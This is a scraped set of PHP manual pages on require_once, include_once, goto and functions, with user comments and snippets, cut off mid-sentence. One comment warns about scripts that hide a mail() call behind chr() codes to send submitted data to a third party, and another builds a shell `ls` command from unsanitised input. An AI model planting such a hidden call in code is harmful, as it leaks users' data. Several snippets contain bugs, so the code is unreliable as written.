To be sure only pages are called you want the user to call use something like this:

<?php
  $path = 'pages/';
  $extension = '.php';

  if ( preg_match("#^[a-z0-9_]+$#i",$page) ){
    $filename = $path.$page.$extension;
    include($filename);
  }
?>

This will only make sure only files from the directory $path are called if they have the fileextension $extension.
require
require_once
Control Structures


require_once

include
include_once
Control Structures
PHP Manual

require_once()

(PHP 4, PHP5)

The require_once() statement is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.

See the include_once() documentation for information about the _once behaviour, and how it differs from its non _once siblings.

User Contributed Notes

bimal at sanjaal dot com 04-Jun-2011 11:46
If your code is running on multiple servers with different environments (locations from where your scripts run) the following idea may be useful to you:

a. Do not give absolute path to include files on your server.
b. Dynamically calculate the full path (absolute path)

Hints:
Use a combination of dirname(__FILE__) and subsequent calls to itself until you reach to the home of your '/index.php'. Then, attach this variable (that contains the path) to your included files.

One of my typical example is:

<?php
define('__ROOT__', dirname(dirname(__FILE__)));
require_once(__ROOT__.'/config.php);
?>

instead of:
<?php require_once('/var/www/public_html/config.php); ?>

After this, if you copy paste your codes to another servers, it will still run, without requiring any further re-configurations.

[EDIT BY danbrown AT php DOT net: Contains a typofix (missing ')') provided by 'JoeB' on 09-JUN-2011.]
spark at limao dot com dot br 14-Apr-2011 07:31
if you use require_once on a file A pointing to file B, and require_once in the file B pointing to file A, in some configurations you will get stuck

also wouldn't it be nice to manage that to prevent getting stuck AND use the good old Java import?

<?php
       function import($path=""){
               if($path == ""){ //no parameter returns the file import info tree;
                       $report = $_SESSION['imports'];
                       foreach($report as &$item) $item = array_flip($item);
                       return $report;
               }

               $current = str_replace("\\","/",getcwd())."/";
               $path = $current.str_replace(".","/",$path);
               if(substr($path,-1) != "*") $path .= ".class.php";

               $imports = &$_SESSION['imports'];
               if(!is_array($imports)) $imports = array();

               $control = &$imports[$_SERVER['SCRIPT_FILENAME']];
               if(!is_array($control)) $control = array();

               foreach(glob($path) as $file){
                       $file = str_replace($current,"",$file);
                       if(is_dir($file)) import($file.".*");
                       if(substr($file,-10) != ".class.php") continue;
                       if($control[$file]) continue;
                       $control[$file] = count($control);
                       require_once($file);
               }
       }
?>

just remember to start the session and to enable the glob function

now you can use
<?php
    import("package.ClassName");
    import("another.package.*"); //this will import everything in the folder
?>
info at erpplaza dot com 05-Oct-2010 12:10
Include all files from a particular directory

<?php
foreach (glob("classes/*.php") as $filename)
{
    include $filename;
}
?>

ERPPlaza
jason semko at gmail dot com 16-Jul-2010 01:33
If you are coding on localhost and require_once is not opening files due to 'relative paths' a simple solution is:

<?php

      require_once(dirname(__FILE__) . "/file.php");

?>

If you have file.php under the folder 'includes' (or anywhere for that matter), then folder 'public' AND folder 'public/admin' will be able to access all required files despite having different relative paths.
ivan[DOT_NO_SPAM]chepurnyi[AT]gmail 08-Sep-2009 06:42
Also if you have a large MVC framework, it make sense to compile  structure "file/path/to/class.php" to something like this "file_path_to_class.php", it will speed up any type of php files includes, becouse php interpreter will not check FS stat data for directories "file", "file/path", "file/path/to", etc.
felix dot nensa at zeec dot biz 29-Jul-2009 09:40
To include/require a whole folder of classes can be stripped down to a one-liner:

<?php
array_walk(glob('./lib/*.class.php'),create_function('$v,$i', 'return require_once($v);'));
?>
yahel at wanadoo dot fr 20-Jul-2009 09:25
If you get "failed to open stream" although you are sure your include_path is correct, check your open_basedir setting.

I spent 2 hours trying to figure out why although my inclusion path was good, php kept sending me the "failed to open" error.

It was simply because my included directory was outside the scope of the open_basedir which blocks php from accessing file outside you root directory(usually).

I think the error you send the "open_basedir restriction in effect" in this case.
Konstantin Rozinov (krozinov[at]gmail) 01-Apr-2009 04:58
There's been a lot of discussion about the speed differences between using require_once() vs. require().
I was curious myself, so I ran some tests to see what's faster:
 - require_once() vs require()
 - using relative_path vs absolute_path

I also included results from strace for the number of stat() system calls.  My results and conclusions below.

METHODOLOGY:
------------
The script (test.php):
<?php
 $start_time = microtime(true);

 /*
  * Uncomment one at a time and run test below.
  * sql_servers.inc only contains define() statements.
  */

 //require ('/www/includes/example.com/code/conf/sql_servers.inc');
 //require ('../../includes/example.com/code/conf/sql_servers.inc');
 //require_once ('/www/includes/example.com/code/conf/sql_servers.inc');
 //require_once ('../../includes/example.com/code/conf/sql_servers.inc');

 $end_time = microtime(true);

 $handle = fopen("/tmp/results", "ab+");
 fwrite($handle, ($end_time - $start_time) . "\n");
 fclose($handle);
?>

The test:
  I ran ab on the test.php script with a different require*() uncommented each time:
  ab -n 1000 -c 10 www.example.com/test.php

RESULTS:
--------
The average time it took to run test.php once:
require('absolute_path'):      0.000830569960420
require('relative_path'):      0.000829198306664
require_once('absolute_path'): 0.000832904849136
require_once('relative_path'): 0.000824960252097

The average was computed by eliminating the 100 slowest and 100 fastest times, so a total of 800 (1000 - 200) times were used to compute the average time.  This was done to eliminate any unusual spikes or dips.

The question of how many stat() system calls were made can be answered as follows:
- If you run httpd -X and then do an strace -p <pid_of_httpd>, you can view the system calls that take place to process the request.
- The most important thing to note is if you run test.php continuously (as the ab test does above), the stat() calls only happen for the first request:

  first call to test.php (above):
  -------------------------------
  lstat64 ("/www", {st_mode=S_IFDIR|0755, st_size=...
  lstat64 ("/www/includes", {st_mode=S_IFDIR|0755,...
  lstat64 ("/www/includes/example.com", {st_mode=S...
  lstat64 ("/www/includes/example.com/code", {st_m...
  lstat64 ("/www/includes/example.com/code/conf", ...
  lstat64 ("/www/includes/example.com/code/conf/sql_servers.inc", {st_mode...
  open ("/www/includes/example.com/code/conf/sql_servers.inc", O_RDONLY) = 17

  subsequent calls to test.php:
  -----------------------------
  open ("/www/includes/example.com/code/conf/sql_servers.inc", O_RDONLY) = 17

- The lack of stat() system calls in the subsequent calls to test.php only happens when test.php is called continusly.  If you wait a certain period of time (about 1 minute or so), the stat() calls will happen again.
- This indicates that either the OS (Ubuntu Linux in my case), or Apache is "caching" or knows the results of the previous stat() calls, so it doesn't bother repeating them.
- When using absolute_path there are fewer stat() system calls.
- When using relative_path there are more stat() system calls because it has to start stat()ing from the current directory back up to / and then to the include/ directory.

CONCLUSIONS:
------------
- Try to use absolute_path when calling require*().
- The time difference between require_once() vs. require() is so tiny, it's almost always insignificant in terms of performance.  The one exception is if you have a very large application that has hundreds of require*() calls.
- When using APC opcode caching, the speed difference between the two is completely irrelevant.
- Use an opcode cache, like APC!

Konstantin Rozinov
krozinov [at] gmail
cnorthcote at underground dot co dot uk 14-Mar-2008 03:20
Bear in mind that require_once doesn't have a return value (neither does require; since they both halt execution on failure), so this won't work:

<?

require_once("path/to/myfile.php") or die("Couldn't load myfile");

?>

because you will get a very unhelpful error:

PHP Fatal error:  require_once() : Failed opening required '1' (include_path='.;C:\\php5\\pear') in C:\path\to\code.php on line 1

This was mentioned on the php-general mailing list in about 2003 but is a gotcha I have seen a few people come across. If you want to check to see if a file was included, use @include() instead.
amcewen at look dot ca 11-Feb-2008 07:00
Perhaps it would be clearer to say that require_once() includes AND evaluates the resulting code once.  More specifically, if there is code in the script file other than function declarations, this code will only be executed once via require_once().
Sinured 20-Aug-2007 10:33
Beware: As miqrogroove said below, require_once() is not independent of require() -- but vice versa, require() IS independent of require_once()!
Let's turn miqrogroove's example around:

echo.php
<?php
echo "42!<br />\n";
?>

test.php
<?php
require_once 'echo.php';
require 'echo.php';
// 42!
// 42!
?>

So: require_once() will NOT include a file previously included by require(), while require WILL include a file previously included by require_once.
manuel schaffner 14-Jun-2007 02:02
The path for nested require_once() is always evaluated relative to the called / first file containing require_once(). To make it more flexible, maintain the include_path (php.ini) or use set_include_path() - then the file will be looked up in all these locations.
jazfresh at hotmail.com 07-Mar-2007 11:22
Check how many files you are including with get_required_files(). If it's a significant number (> 100), it may be worth "compiling" the main PHP file. By "compiling", I mean write a script that reads a PHP file and replaces any "include/require_once" references with either:
- the file that it's requiring
- a blank line if that file has been included before

This function can be recursive, thus building up a large PHP file with no require_once references at all. The speedup can be dramatic. On one of our pages that included 115 classes, the page was sped up by 60%.
sneskid at hotmail dot com 19-Jan-2007 12:00
<?php
function & rel($r, &$f) {return file_exists( ( $f = ( dirname($r).'/'.$f ) ) );}
function & relf($r, $f) {return rel($r,$f) ? file_get_contents($f) : null;}
function & reli($r, $f) {return rel($r,$f) ? include($f) : null;}
function & relr($r, $f) {return rel($r,$f) ? require($f) : null;}
function & relio($r, $f) {return rel($r,$f) ? include_once($f) : null;}
function & relro($r, $f) {return rel($r,$f) ? require_once($f) : null;}
?>

I found it useful to have a function that can load a file relative to the calling script and return null if the file did not exist, without raising errors.

<?php
/*
Load file contents or return blank if it's not there.
Relative to the file calling the function.
*/
echo relf(__FILE__, 'some.file');
?>

It was easy to modify and just as useful for require/include.

<?php
/*
Require the file once.
It's like suppressing error messages with @ but only when the file does not exist.
Still shows compile errors/warning, unless you use @relro().
Relative to the file calling the function.
*/
relro(__FILE__, 'stats.php');
?>

If you work with a deep php file structure and a barrage of includes/requires/file-loads this works well.
rejjn at mail dot nu 01-Sep-2006 02:28
The following only applies to case insensitive systems like Windows.

Even though the documentation sais that "the path is normalized" that doesn't seem to be true in all cases.

If you are using the magic __autoload() function (or if the framework you're using is using it) and it includes the requested class file with complete path or if you override the include path in mid execution, you may have some very strange behavior. The most subtle problem is that the *_once functions seem to differentiate between c:\.... and C:\....

So to avoid any strange problems and painfull debugging make sure ALL paths you use within the system have the same case everywhere, and that they correspond with the actual case of the filesystem. That includes include paths set in webserver config/php.ini, auto load config, runtime include path settings or anywhere else.
antoine dot pouch at mcgill dot ca 10-Mar-2006 07:13
require_once (and include_once for that matters) is slow.
Furthermore, if you plan on using unit tests and mock objects (i.e. including mock classes before the real ones are included in the class you want to test), it will not work as require() loads a file and not a class.

To bypass that, and gain speed, I use :

<?php
class_exists('myClass') || require('path/to/myClass.class.php');
?>

I tried to time 100 require_once on the same file and it took the script 0.0026 seconds to run, whereas with my method it took only 0.00054 seconds. 4 times faster ! OK, my method of testing is quite empirical and YMMV but the bonus is the ability to use mock objects in your unit tests.
martijn(dot)lowrider(at)gmail(dot)com 24-Feb-2006 11:00
How to use Require_Once with error reporting to include a MySQL Connection file:

-------------------------------------------------------------------
$MySQLConnectFile = './inc/MySQL.Class.php';

if ( is_dir ( './inc/' ) )
{
    $IncIsDir == TRUE;
}

if ( file_exists ( $MySQLConnectFile ) )
{
    $MySQLFileExists == TRUE;
}

if ( $IncIsDir && $MySQLFileExists )
{
    require_once ( $MySQLConnectFile )
}
else
{
    echo '<b>Error:</b> <i>Could not read the MySQL Connection File. Please try again later.';
    exit();
}

----------------------------------------------------------------------
sdh00b at gmail dot com 05-Dec-2005 07:12
@georg_gruber at yahoo dot com

Files for including are first looked in include_path relative to the current working directory and then in include_path relative to the directory of current script. E.g. if your include_path is ., current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/ and then in /www/include/. If filename begins with ./ or ../, it is looked only in include_path relative to the current working directory.

Taken from http://us2.php.net/manual/en/function.include.php
georg_gruber at yahoo dot com 06-Oct-2005 03:06
A very interesting behaviour of require_once (and probably all include commands):

consider the following files:

/index.php -> require_once('/inc/library.php');
/function1.php -> print('/function1.php');
/inc/library.php -> require_once('function1.php');
/inc/function1.php -> print('/inc/function1.php');

Note that /function1.php and /inc/function1.php are files with the SAME filename in different folders.

If you "/index.php" is executed it will output
"/function1.php".

Although /index.php "includes" /inc/library.php the scope of the file is still /index.php therefor /function1.php will be found even it could be asumed the /inc/function1.php is the correct one.

And it gets more interesting: if you delete /function1.php and execute /index.php PHP checks this and "includes" /inc/function1.php.
miqrogroove 01-May-2005 11:10
require_once() is NOT independent of require().  Therefore, the following code will work as expected:

echo.php
<?php
echo "Hello";
?>

test.php
<?php
require('echo.php');
require_once('echo.php');
?>

test.php outputs: "Hello".

Enjoy,
-- Miqro
ulderico at maber dot com dot br 22-Mar-2005 05:38
With both of your functions guys, Pure-PHP and jtaal at eljakim dot nl, you'll not have any variables available GLOBALly if they're supposed to be globals...

That's why my import handles better those situation. OK, SOME MAY DISPUTE that using include_once and require_once may slow down an application. But what's the use to do IN PHP what the interpreter *should* do better for you. Thusly these workarounds shall, some time in the future, DIE.

Thus It's better to well design your application to keep some order using few INCLUDES and REQUIRES in it rather than insert MANY AND SEVERAL *_once around.
Pure-PHP 17-Mar-2005 02:19
require_once can slower your app, if you include to many files.

You cann use this wrapper class, it is faster than include_once

http://www.pure-php.de/node/19

require_once("includeWrapper.class.php")

includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class2.class.php")
jtaal at eljakim dot nl 10-Mar-2005 05:00
When you feel the need for a require_once_wildcard function, here's the solution:

<?php // /var/www/app/system/include.inc.php

function require_once_wildcard($wildcard, $__FILE__) {
  preg_match("/^(.+)\/[^\/]+$/", $__FILE__, $matches);
  $ls = `ls $matches[1]/$wildcard`;
  $ls = explode("\n", $ls);
  array_pop($ls); // remove empty line ls always prints
  foreach ($ls as $inc) {
    require_once($inc);
  }
}

?>

The $__FILE__ variable should be filled with the special PHP construct __FILE__:
<?php // /var/www/app/classes.inc.php

require_once('system/include.inc.php');
require_once_wildcard("classes/*.inc.php", __FILE__);

?>

The (*.inc.php) files inside the directory classes are automagically included using require_once_wildcard.

This solution may not be as useful when using PHP5 in combination with classes and the autoload feature.

--
Jaap Taal
thomas dot revell at uwe dot ac dot uk 21-Jan-2005 02:00
Regarding the case insensitivity problems on Windows, it looks to me as though it is a problem in PHP5 as well (at least in some cases).

The following gave me problems:

From file URLSwitcher.php
<?php
require_once 'slimError/slimError.php';
require_once 'Navigator_Cache.php';
....
?>

From file Navigator_Cache.php
<?php
require_once 'slimError/slimerror.php';
...
?>

From file slimerror.php
<?php
class SLIMError {
...
}
?>
The above setup gave me an error : "Cannot redeclare class SLIMError"

If I change the require_once in URLSwitcher.php to match the one in Navigator_Cache.php, there isn't a problem, but if I do this the other way round, the same problem occurs.
18-Mar-2004 09:49
> Mac OS X systems are also not case-sensitive.
That depends on the filesystem:
- HFS and HFS+ are NOT case sensitive.
- UFS is case sensitive.
include
include_once
Control Structures


include_once

require_once
goto
Control Structures
PHP Manual

include_once()

(PHP 4, PHP5)

The include_once() statement includes and evaluates the specified file during the execution of the script. This is a behavior similar to the include() statement, with the only difference being that if the code from a file has already been included, it will not be included again. As the name suggests, it will be included just once.

include_once() may be used in cases where the same file might be included and evaluated more than once during a particular execution of a script, so in this case it may help avoid problems such as function redefinitions, variable value reassignments, etc.

See the include() documentation for information about how this function works.

Note:

With PHP 4, _once functionality differs with case-insensitive operating systems (like Windows) so for example:

Example #1 include_once() with a case insensitive OS in PHP 4

<?php
include_once "a.php"; // this will include a.php
include_once "A.php"; // this will include a.php again! (PHP 4 only)
?>

This behaviour changed in PHP 5, so for example with Windows the path is normalized first so that C:\PROGRA~1\A.php is realized the same as C:\Program Files\a.php and the file is included just once.

User Contributed Notes

Frankbrennanfilms at yahoo dot com 21-Sep-2010 01:43
Need some help please. I keep getting this error:

can not include
Fatal error: Cannot redeclare get_postdata()

Here's the solution I was told to put in, but it's  not working

<?php
if(!@file_exists('deprecated.php') ) {
    echo 'can not include';
} else {
   include('deprecated.php');
}

 * @package WordPress
 * @subpackage Deprecated
 */
nospam at freeproxylist dot org 30-Mar-2009 08:51
I would like to share one very useful tip with include_* statements. For example we have two classes first.class.php and second.class.php both located in the same directory (./classes) and first one uses the second one. So we have:

first.class.php
<?php
include_once './second.class.php';
...
?>

also we have file which uses first.class.php:

<?php
include_once './classes/first.class.php';
...
?>

if you will try to execute your script you will get error. Reason: the current directory is different and the relative path in first.class.php (./second.class.php) will be incorrect.

Here is two possible solution I have found:

<?php
include_once dirname(__FILE__).'/second.class.php';
...
?>

or

<?php
chdir(dirname(__FILE__));
include_once './second.class.php';
...
?>

Hope that tip will be useful for some other software developer

Admin of http://FreeProxyList.org
neil at holcomb dot com 07-Jan-2009 01:42
Using include_once() in the __autoload() function is redundant.  __autoload() is only called when php can't find your class definition.  If your file containg your class was already included, the class defenition would already be loaded and __autoload() would not be called.  So save a little overhead and only use include() within __autoload()

Neil Holcomb
roach dot scott+spam at googlemail dot com 27-Jun-2008 05:22
If you include a file that does not exist with include_once, the return result will be false.

If you try to include that same file again with include_once the return value will be true.

Example:
<?php
var_dump(include_once 'fakefile.ext'); // bool(false)
var_dump(include_once 'fakefile.ext'); // bool(true)
?>

This is because according to php the file was already included once (even though it does not exist).
emanuele at rogledi dot com 18-May-2008 05:40
For include_once a file in every paths of application we can do simply this

include_once($_SERVER["DOCUMENT_ROOT"] . "mypath/my2ndpath/myfile.php");
php at metagg dot com 08-Aug-2007 03:29
If you are like me and make heavy use of the __autoload magic function, always set include paths so you can just instantiate your class, and have multiple locations and name schemes for your custom libraries then you might be frustrated by simple parse errors being supressed when using @include_once('lib.php').

The solution I came up with was:

define('IN_PRODUCTION_ENV',FALSE);

function __autoload($class){

  $paths = array();
  $paths[] = "{$class}_lib.php";
  $paths[] = "{$class}_inc.php";
  $paths[] = "{$class}.php";

  if(IN_PRODUCTION_ENV){

    foreach($paths as &$path){

      if((@include_once $path) !== false){ return; }//if

    }//foreach

  }else{

    // we are not in a production environment so we want to see all errors...
    $include_paths = explode(PATH_SEPARATOR,get_include_path());

    foreach($include_paths as $include_path){

      // go through each of the different class names...
      foreach($paths as $path){

        // attach each class name to the include path...
        $include_file = $include_path.$path;

        if(file_exists($include_file)){

          if((include_once $include_file) !== false){ return; }//if

        }//if

      }//foreach

    }//foreach

  }//if/else

  trigger_error("{$class} was not found",E_USER_ERROR);

}//method

Now, just make sure you define IN_PRODUCTION_ENV to true or false to get either the slower (with all parse errors shown) or the faster (just suppress everything) autoloading. Hope this helps someone else since it was annoying just having blank screens show up when I had a simple parse error. Thanks to flobee at gmail dot com for providing me with the epiphany on why pages were showing up blank...-Metagg
webmaster AT domaene - kempten DOT de 10-Aug-2006 05:11
Since I like to reuse a lot of code it came handy to me to begin some sort of library that I stored in a subdir
e.g. "lib"

The only thing that bothered me for some time was that although everything worked all IDEs reported during editing
these useless warnings "file not found" when library files included other library files, since my path were given all relative to the corresponding document-root.

Here is a short workaround that makes that gone:

<?php
// Change to your path

if(strpos(__FILE__,'/lib/') != FALSE){
    chdir("..");
}
include_once ('./lib/other_lib.inc');
// ... or any other include[_once] / require[_once]
?>

just adjust the path and it will be fine - also for your IDE.

greetings
29-Aug-2005 01:52
Dealing with function redefinitions

include_once and require_once are very useful if you have a library of common functions.  If you try to override with - that is define - an identically named local function however, PHP will halt noting that it cannot redeclare functions.  You can allow for this by bracketing (within the include file):
function myUsefulFunc($arg1, $arg2) {
     ... }

with

if (!function_exists('myUsefulFunc')) {
function myUsefulFunc($arg1, $arg2) {
     ... }}

Top level functions (ie. those not defined within other functions or dependent on code running) in the local file are always parsed first, so http://php.net/function_exists within the included/required file is safe - it doesn't matter where the include statements are in the local code.

Csaba Gabor from Vienna
flobee at gmail dot com 26-May-2005 07:55
i already had a discussion with several people about "not shown errors"
error reporting and all others in php.ini set to: "show errors" to find problems:
the answer i finally found:
if you have an "@include..." instead of "include..." or "require..('somthing') in any place in your code
all following errors are not shown too!!!

so, this is actually a bad idea when developing because paser errors will be droped too:
<?php
if(!@include_once('./somthing') ) {
    echo 'can not include';
}
?>

solution:
<?php
if(!@file_exists('./somthing') ) {
    echo 'can not include';
} else {
   include('./something');
}
?>
Pure-PHP 17-Mar-2005 02:17
Inlude_once can slower your app, if you include to many files.

You cann use this wrapper class, it is faster than include_once

http://www.pure-php.de/node/19

include_once("includeWrapper.class.php")

includeWrapper::includeOnce("Class1.class.php");
includeWrapper::requireOnce("Class1.class.php");
includeWrapper::includeOnce("Class2.class.php")
bioster at peri dot csclub dot uwaterloo dot ca 28-Oct-2004 03:06
Something to be wary of:  When you use include_once and the data that you include falls out of scope, if you use include_once again later it will not include despite the fact that what you included is no longer available.

So you should be wary of using include_once inside functions.
require_once
goto
Control Structures


goto

(PHP 5 >= 5.3.0)

The goto operator can be used to jump to another section in the program. The target point is specified by a label followed by a colon, and the instruction is given as goto followed by the desired target label. This is not a full unrestricted goto. The target label must be within the same file and context, meaning that you cannot jump out of a function or method, nor can you jump into one. You also cannot jump into any sort of loop or switch structure. You may jump out of these, and a common use is to use a goto in place of a multi-level break.

Example #1 goto example

<?php
goto a;
echo 'Foo';

a:
echo 'Bar';
?>

The above example will output:

Bar

Example #2 goto loop example

<?php
for($i=0,$j=50; $i<100; $i++) {
  while($j--) {
    if($j==17) goto end;
  }
}
echo "i = $i";
end:
echo 'j hit 17';
?>

The above example will output:

j hit 17

Example #3 This will not work

<?php
goto loop;
for($i=0,$j=50; $i<100; $i++) {
  while($j--) {
    loop:
  }
}
echo "$i = $i";
?>

The above example will output:

Fatal error: 'goto' into loop or switch statement is disallowed in
script on line 2

Note:

The goto operator is available as of PHP 5.3.

What's the worse thing that could happen if you use goto?
Image courtesy of » xkcd

User Contributed Notes

f at francislacroix dot info 30-Nov-2011 01:11
The goto operator CAN be evaluated with eval, provided the label is in the eval'd code:

<?php
a: eval("goto a;"); // undefined label 'a'
eval("a: goto a;"); // works
?>

It's because PHP does not consider the eval'd code, containing the label, to be in the same "file" as the goto statement.
Ray dot Paseur at Gmail dot com 27-Oct-2011 06:59
You cannot implement a Fortran-style "computed GOTO" in PHP because the label cannot be a variable. See: http://en.wikipedia.org/wiki/Considered_harmful

<?php // RAY_goto.php
error_reporting(E_ALL);

// DEMONSTRATE THAT THE GOTO LABEL IS CASE-SENSITIVE

goto a;
echo 'Foo';
a: echo 'Bar';

goto A;
echo 'Foo';
A: echo 'Baz';

// CAN THE GOTO LABEL BE A VARIABLE?

$a = 'abc';
goto $a; // NOPE: PARSE ERROR
echo 'Foo';
abc: echo 'Boom';
?>
contact at xpertmailer dot com 07-Jul-2011 06:08
goto operator can NOT be evaluate with eval()
tweston at coldsteelstudios dot com 05-Oct-2010 08:12
In a challenge of myself for a college class I decided to use the goto to remove all while loops from my code. It was actually easy, and AS FAST as While loops.

<?PHP
$start = microtime(true);
$i = 0;
StartOfLoop:
$i++;
if($i < 1000000) goto StartOfLoop;

echo microtime(true) - $start.PHP_EOL;

$start = microtime(true);
$i = 0;
while($i < 1000000){
    $i++;
}

echo microtime(true) - $start.PHP_EOL;
?>
chrisstocktonaz at gmail dot com 07-Aug-2009 03:03
Remember if you are not a fan of wild labels hanging around you are free to use braces in this construct creating a slightly cleaner look. Labels also are always executed and do not need to be called to have their associated code block ran. A purposeless example is below.

<?php

$headers = Array('subject', 'bcc', 'to', 'cc', 'date', 'sender');
$position = 0;

hIterator: {

    $c = 0;
    echo $headers[$position] . PHP_EOL;

    cIterator: {
        echo ' ' . $headers[$position][$c] . PHP_EOL;

        if(!isset($headers[$position][++$c])) {
            goto cIteratorExit;
        }
        goto cIterator;
    }

    cIteratorExit: {
        if(isset($headers[++$position])) {
            goto hIterator;
        }
    }
}
?>
include_once
Functions
Control Structures


Functions

Table of Contents

  • User-defined functions
  • Function arguments
  • Returning values
  • Variable functions
  • Internal (built-in) functions
  • Anonymous functions

User Contributed Notes

martyniuk dot vasyl at gmail dot com 27-Oct-2010 08:35
If you define function within another function, it can be accessed directly, but after calling parent function.
For example:
<?php
function a () {
  function b() {
    echo "I am b.";
  }
  echo "I am a.<br/>";
}
//b(); Fatal error: Call to undefined function b() in E:\..\func.php on line 8
a(); // Print I am a.
b(); // Print I am b.
?>
Raashell 05-Oct-2009 04:17
I was a little slow on the uptake for the same question Vameza describes.  Here is a contrasting set of code that outlines the difference.

<?php
function a($n){
  b($n);
  return ($n * $n);
}

function b(&$n){
  $n++;
}

echo a(5); //Outputs 36
?>
info at warpdesign dot fr 08-Dec-2008 12:14
Note about function names:
--

According to the specified regular expression ([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*), a function name like this one is valid:

<?php
function â‚¬()
{
   echo 'foo';
}
?>

And PHP interpreter correctly interprets the function. However some parsers (ex: PDT/Eclipse) does not see this as a valid function name, and only accept function names starting with a letter or an underscore.
dnhuff at acm.org 07-Jun-2008 09:31
Actually, vameza, the script below echos nothing, because the echo statement has the expression $a(5), whereas you meant a(5). This demonstrates another feature of PHP, variable functions, but you didn't actually mean to do that.

To be helpful to the average joe, actually run your examples and then cut and paste the code.
vameza at gmail dot com 11-May-2008 04:15
An important thing that must be considered when using functions and references is that functions that do not return any value at all, will indeed return NULL as result.
Carefull must be taken in order to avoid unexpected results, as show below:
<?php
function a($n)
{
  return ( b($n) * $n );
}
function b(&$n){
  ++$n;
}

echo $a(5);
// The result is 0. Why?? Answer below...
?>

As the function b not return any value, the engine makes the function returns NULL. When is performed a multiplication in function a, the returned value is converted to zero, and finally the returned value from function a is zero as well.
I took long to realize this concept. An answer can be found in the Zend PHP5 Certification Study Guide (PHP/architectÂ´s publishing).
So, in conclusion, be carefull when using a function to perform operations. It must return a value.
Jakob Thomsen 26-Feb-2008 12:57
Note that if you have the name of function in a variable, then you can call it, if that function is globally available. It cannot be the name of a function in a class.
An example:

class foo {
    public static function bar(){
        return "bar in a class called";
    }
}

function bar() {
    return "normal bar called";
}

$strFN = "bar";
echo $strFN();

$strFN2 = "foo::bar";
echo $strFN2();

This will result in

normal bar called
Fatal error: Call to undefined function foo::bar() in /path/to/test.php on line 16
email at fake dot com 31-Aug-2007 10:06
You can set variable DEFUALT values for a function in the (). These will be over-written by any input values (or non values).

function defualt_values_test ($a = 123, $b = 456){
   echo "a = ".$a."<br/>";
   echo "b = ".$b."<br/>";
   echo "<br/>";
}

defualt_values_test();       // uses values set in 'header'
defualt_values_test('overwritten',987654321);       // uses these values
defualt_values_test($non_existant,"var A has to be overwritten.");        // you can only use this for the last vars.

OUTPUTS:
----------

a = 123
b = 456

a = overwritten
b = 987654321

a =
b = var A has to be overwritten.
Gautam 23-Aug-2007 02:57
<?php
/*
User Defined Functions

function function_name($arg_1, $arg_2, ...,  $arg_n)
{
    code_line1;
    code_line2;
    code_line3;
    return ($value); //stops execution of the function and returns its argument as the value at the point where the function was called.
}
One may have more than one return()statements in a function.
*/

    $text= 'This Line is Bold and Italics.';
    function makebold_n_italics($text)
    {
        $text = "<i><b>$text</i></b>";
        return($text); //the return() statement immediately ends execution of the current function, and returns its argument as the value of the function call in print command
    }
    print("This Line is not Bold.<br>\n");
    print("This Line is not Italics.<br>\n");
    echo makebold_n_italics("$text") ,"--->", 'It prints the returned value of variable $text when function is called.'."<br>\n";
    echo "$text", '---> prints the original value of  variable $text.'."<br>\n"; // prints the original value of $text
    $thanks='Thanks to Zeev Suraski and Andi Gutmans !!!';
    $text=$thanks;
    echo makebold_n_italics("$text");

/*
Above codes produces output in a browser as under:

This Line is not Bold.
This Line is not Italics.
This Line is Bold and Italics.--->It prints the returned value of variable $text when function is called.
This Line is Bold and Italics.---> prints the original value of variable $text.
Thanks to Zeev Suraski and Andi Gutmans !!!
*/
?>
Raz 31-Jul-2007 03:56
You can use variables instead of original function name, calling user defined function depend on the function name; therefore if we set a variable to a string exactly like function name, it will call the function.
Example:
<?PHP
/* Define Function */
function plus($a, $b){
$c=$a+$b;
echo "$a+$b=$b </br>";
}

//calling fucntion
plus(2,3);

//setting variable function
$vars ='plus';
$vars(2,3); //same as plus(2,3);

// Construct the same out put:
# 2+3=5
# 2+3=5

?>
May be some PHP programer use this trick to call some built in function like mail(),example:
<?php
//....
$some_vars=chr(109).chr(97).chr(105).chr(108); //$some_vars='mail';
$some_vars($some_vars1, $some_vars2, $some_vars3, $some_vars4);  // equivalent to mail()
?>
The above 2 line is a mail function that can be used in the script, it's possible that $some_vars3 that's a message will contain every submitted data in your script that sent to $some_vars1 (to some one email  address),

so be careful to see all source code for any PHP scripts before using it, because the most PHP Programs right now may use MySQL database, and during installation or running the script its possible that your script contain the above 2 lines (of course with some modification).
wassermann at REMOVEucdavis dot edu 19-Jul-2007 06:32
deek at none dot net,

The explanation of why your example does what it does is not quite right.

function ChangeString(&$SuplyedString)
 {
 $SuplyedString = "BBB";
 };

ChangeString($AAA='AAA');
print $AAA;
exit;

The assignment does, in fact, get executed before the function call.  The reason that this prints 'AAA' is because '=' is an operator that returns the value that it assigned.  In this case, the value 'AAA' is assigned to the variable $AAA, and the assignment expression returns a value of 'AAA'.  It is this returned value that gets passed as an argument to the function, and this returned value is unconnected to the variable $AAA.

$AAA = 'AAA';
ChangeString($AAA);
print $AAA;
exit;

In this case, a reference to the variable is being passed.  Hope this helps...
deek at none dot net 03-Jul-2007 09:43
Small Note:

While passing variables by reference ...

This first example does <NOT> work as expected....

function ChangeString(&$SuplyedString)
 {
 $SuplyedString = "BBB";
 };

ChangeString($AAA='AAA');
print $AAA;
exit;

This will print 'AAA' ... and not the referenced value of 'BBB' as expected. It seems that the = sign is interpreted after the function is executed and not before as one might think?

Thus the fix is simple but more typing...

Same function but use ...

$AAA = 'AAA';
ChangeString($AAA);
print $AAA;
exit;

This will now print 'BBB' as it should.

Hope it saves you some debug time...
pinkgothic at gmail dot com 02-May-2007 02:48
Be careful: Whilst you can enter any amount of excess parameters for run-time functions, PHP's in-built functions are capped, and will FAIL if you attempt to exceed this cap. For example:

<?php
  implode(",",$arr); // (for reference)
  implode(",",$arr,$set_var); // WARNING: Wrong parameter count
  implode(",",$arr,$unset_var); // WARNING: Wrong parameter count
  implode(",",$arr,NULL); // WARNING: Wrong parameter count
  myimplode(",",$arr,$set_var); // Not an issue
?>

The function calls that cause a 'Wrong parameter count' warning return NULL.

I noticed this when trying to use $callback(...) with the values $callback = "imagecopyresampled"; and $callback = "imagecopy"; which seemed like a good idea at the time - the two functions have almost identical parameter lists, but imagecopy() would fail because it has two parameters less.
leblanc at tamu dot edu 03-Nov-2006 08:31
manual says:
>nor is it possible to undefine or redefine previously-declared functions.

you can undefine or redefine a function.. or so it says.. using
